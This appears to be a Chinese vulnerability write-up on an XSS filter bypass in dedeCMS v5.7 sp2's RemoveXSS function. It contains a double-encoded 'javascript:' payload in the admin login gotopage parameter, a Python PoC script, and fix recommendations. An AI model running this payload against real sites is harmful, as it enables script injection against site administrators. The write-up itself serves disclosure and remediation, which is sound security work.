织梦dedeCMS v5.7 RemoveXSS过滤绕过

复现版本

dedeCMS sp2 20180109 官方版本v5.7.74

漏洞描述

RemoveXSS函数存在缺陷,无法有效过滤XSS攻击。

漏洞分析

在/include/helpers/filter.helper.php文件中,第65至107行为removexss函数,目的是过滤传入的XSS攻击。在第87至94行

将html中的十进制和十六进制 HTML 实体编码进行转换,以便替换为可读的原始字符。这样做的目的是为了识别并消除可能被恶意利用的JavaScript事件处理程序和属性中的特殊字符。在第98行

如果找到了匹配项,则使用<x>替换匹配到的JavaScript事件处理程序名称和属性名称。如果一次编码则会被检测为XSS攻击并被过滤。但如果进行二次编码,后台接收到的代码为”javascript:alert(1)”,并不在黑名单中,会绕过过滤。在网页中标签的属性里会重新还原成字母”t”,最终在HTML输出中呈现为”javascript:alert(1)”。

漏洞利用

在后台登陆的管理页面修改url:http://(地址)/dede/login.php?gotopage=%2Fdede%2Fhttp://(地址)/dede/login.php?gotopage=javascrip%26%2338%3B%26%2335%3B%26%2349%3B%26%2349%3B%26%2354%3B%26%2359%3B:alert(1);

可以看到js代码已经被插入代码当中,作为跳转的页面

点击登录后弹窗,如果浏览器开启了阻止弹出式窗口则不会弹窗

修复建议

  • 移除控制字符并加强对输入内容的过滤。
  • 更新XSS防护规则,确保能有效识别和移除特定的JavaScript事件处理程序和标签名称。
  • 对事件处理程序和标签名称进行严格检查,并拦截可能含有恶意代码的部分。
  • 考虑使用现代的XSS过滤器或安全库来替代自行构建的XSS防护机制。

POC脚本

import requests

headers={
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8',
    'Accept-Language': 'en-us,en;q=0.5',
    'Connection': 'keep-alive',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
}

#更换地址
url='http://(地址)/dede/login.php?gotopage=javascrip%26%2338%3B%26%2335%3B%26%2349%3B%26%2349%3B%26%2354%3B%26%2359%3B:alert(1);'
content=requests.get(url=url,headers=headers).text
if('value="javascrip&#116' in content):
    print('+++++OK+++++')
else:
    print('-----Fail-----')

参考文章

代码审计 | DedeCMS v 5.7 sp2 RemoveXSS bypass – FreeBuf网络安全行业门户

暂无评论

发送评论 编辑评论


				
上一篇
下一篇